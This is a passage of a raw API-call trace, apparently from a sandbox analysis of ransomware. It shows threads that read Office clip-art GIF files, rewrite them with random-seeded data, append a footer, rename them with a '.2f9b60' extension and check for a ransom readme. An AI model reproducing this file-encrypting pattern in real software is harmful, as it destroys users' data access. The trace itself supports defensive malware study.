(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0096.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0096.227] NtQuerySystemTime (in: CurrentTime=0x235bf560 | out: CurrentTime=0x235bf560*=132462177020626000) returned 0x0 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x7710c717 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x5f7635a2 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x3790592c [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x52012c8b [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x1f55b6d [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x494f0ede [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x7f00f38b [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x76f93fb8 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x74a9e1c9 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x3ceaaa23 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x35e208dc [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x14b901e6 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x3241e0ab [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x232c8243 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x53d1c851 [0096.227] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x6056a14a [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x72517c7 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x5823de88 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x1dfeaa72 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x8ab7383 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x32536ad9 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x3c9ba2b0 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x2a076dc2 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x25f5989d [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x63b9f176 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x2a3dcdb6 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x18ff58e2 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x4ec6052b [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x7a788f2 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x76315ff [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x7f6d5219 [0096.228] RtlRandomEx (in: Seed=0x235bf550 | out: Seed=0x235bf550) returned 0x227984c3 [0096.240] ReadFile (in: hFile=0xef4, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x235bf550, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x235bf550*=0x3a19, lpOverlapped=0x0) returned 1 [0096.281] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.281] WriteFile (in: hFile=0xef4, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x3a19, lpNumberOfBytesWritten=0x235bf554, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x235bf554*=0x3a19, lpOverlapped=0x0) returned 1 [0096.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0096.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0096.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0096.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0096.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0096.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860720 [0096.353] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.353] WriteFile (in: hFile=0xef4, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x235bf670, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x235bf670*=0x10a, lpOverlapped=0x0) returned 1 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0096.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0096.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.377] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="11") returned 2 [0096.377] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="1e") returned 2 [0096.377] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="ac") returned 2 [0096.377] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="0c") returned 2 [0096.377] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="be") returned 2 [0096.377] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="b9") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="e5") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="56") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="51") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="e8") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="b8") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="03") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="ef") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="9d") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="b6") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="68") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="e6") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="2a") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="30") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="2b") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="11") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="dc") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="97") returned 2 [0096.378] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="89") returned 2 [0096.378] RtlInitAnsiString (in: DestinationString=0x235bf6e8, SourceString="111eac0cbeb9e55651e8b803ef9db668e62a302b11dc9789" | out: DestinationString="111eac0cbeb9e55651e8b803ef9db668e62a302b11dc9789") [0096.378] RtlAnsiStringToUnicodeString (in: DestinationString=0x235bf6b8, SourceString="111eac0cbeb9e55651e8b803ef9db668e62a302b11dc9789", AllocateDestinationString=1 | out: DestinationString="111eac0cbeb9e55651e8b803ef9db668e62a302b11dc9789") returned 0x0 [0096.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863f10 [0096.378] wcscat (in: _Dest=0x1b7ae4c0, _Source="111eac0cbeb9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9" [0096.379] wcscat (in: _Dest=0x1b7ae4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9.2f9b60" [0096.379] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9.2f9b60", NtPathName=0x235bf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\111eac0cbeb9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278470 [0109.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278470) returned 1 [0109.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0109.575] NtQueryInformationFile (in: FileHandle=0xef4, IoStatusBlock=0x235bf6f8, FileInformation=0x235bf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x235bf6f8, FileInformation=0x235bf708) returned 0x0 [0109.575] NtSetInformationFile (FileHandle=0xef4, IoStatusBlock=0x235bf6f8, FileInformation=0x235bf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0109.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f10) returned 1 [0109.587] FlushFileBuffers (hFile=0xef4) returned 1 [0109.596] CloseHandle (hObject=0xef4) returned 1 [0109.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae4c0 [0109.597] wcscpy (in: _Dest=0x1b7ae4c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.597] wcscat (in: _Dest=0x1b7ae4c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0109.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 Thread: id = 638 os_tid = 0x10dc [0095.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0096.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x20) returned 1 [0096.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0096.070] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x29a9fde0 | out: lpFileSize=0x29a9fde0*=6684) returned 1 [0096.070] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x1a18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.070] ReadFile (in: hFile=0xe70, lpBuffer=0x29a9fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a9fda8, lpOverlapped=0x0 | out: lpBuffer=0x29a9fd60*, lpNumberOfBytesRead=0x29a9fda8*=0x4, lpOverlapped=0x0) returned 1 [0096.189] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0096.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0096.189] NtQuerySystemTime (in: CurrentTime=0x29a9fca0 | out: CurrentTime=0x29a9fca0*=132462177020158000) returned 0x0 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x5ee9bc9 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x574ee2ee [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x36a96ef9 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x744992fe [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x503ff74b [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x7d65f428 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x6f83b80f [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x26f6f110 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x6aeb5df7 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x44f247ed [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x2a324682 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x7b736456 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0xf468e7b [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x712490f6 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x2c197b38 [0096.189] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x341c5099 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x852feb6 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x196b890f [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x17d9baa4 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x6c0a3251 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x1b3fea06 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x5f930187 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x52b0e038 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x36b29d83 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x4c6bba46 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x1bfade1c [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x64525b1 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x7886f0b3 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x49b03a52 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x5643f8d5 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x28bd0ea6 [0096.190] RtlRandomEx (in: Seed=0x29a9fc90 | out: Seed=0x29a9fc90) returned 0x4309d47e [0096.201] ReadFile (in: hFile=0xe70, lpBuffer=0x201cc1b0, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x29a9fc90, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesRead=0x29a9fc90*=0x1a1c, lpOverlapped=0x0) returned 1 [0096.263] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.263] WriteFile (in: hFile=0xe70, lpBuffer=0x201c0d80*, nNumberOfBytesToWrite=0x1a1c, lpNumberOfBytesWritten=0x29a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x201c0d80*, lpNumberOfBytesWritten=0x29a9fc94*=0x1a1c, lpOverlapped=0x0) returned 1 [0100.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0100.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d70 [0100.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d70) returned 1 [0100.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0100.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0100.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0100.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0100.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263d70 [0100.975] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.975] WriteFile (in: hFile=0xe70, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29a9fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x29a9fdb0*=0x10a, lpOverlapped=0x0) returned 1 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0105.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0105.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0105.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0105.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.298] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b4") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a3") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="ab") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ed") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="8c") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="eb") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="a9") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="b3") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="71") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="fd") returned 2 [0105.298] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="4c") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="22") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="c6") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="a8") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="af") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ef") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="77") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="a8") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="01") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="09") returned 2 [0105.299] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="0b") returned 2 [0105.299] RtlInitAnsiString (in: DestinationString=0x29a9fe28, SourceString="b47ba3abed8ceba9b3715bfd4c22c6a84aafef77a801090b" | out: DestinationString="b47ba3abed8ceba9b3715bfd4c22c6a84aafef77a801090b") [0105.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x29a9fdf8, SourceString="b47ba3abed8ceba9b3715bfd4c22c6a84aafef77a801090b", AllocateDestinationString=1 | out: DestinationString="b47ba3abed8ceba9b3715bfd4c22c6a84aafef77a801090b") returned 0x0 [0105.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5e80 [0105.299] wcscat (in: _Dest=0x204ff9b0, _Source="b47ba3abed8c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c" [0105.300] wcscat (in: _Dest=0x204ff9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c.2f9b60" [0105.300] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c.2f9b60", NtPathName=0x29a9fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b47ba3abed8c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278e30 [0109.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0109.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc510) returned 1 [0109.398] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x29a9fe38, FileInformation=0x29a9fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29a9fe38, FileInformation=0x29a9fe48) returned 0x0 [0109.398] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x29a9fe38, FileInformation=0x29a9fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff9b0) returned 1 [0109.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5e80) returned 1 [0109.402] FlushFileBuffers (hFile=0xe70) returned 1 [0109.422] CloseHandle (hObject=0xe70) returned 1 [0109.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b19b0 [0109.424] wcscpy (in: _Dest=0x202b19b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.424] wcscat (in: _Dest=0x202b19b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 [0109.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b640) returned 1 Thread: id = 639 os_tid = 0x10e0 [0095.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0096.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", dwFileAttributes=0x20) returned 1 [0096.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 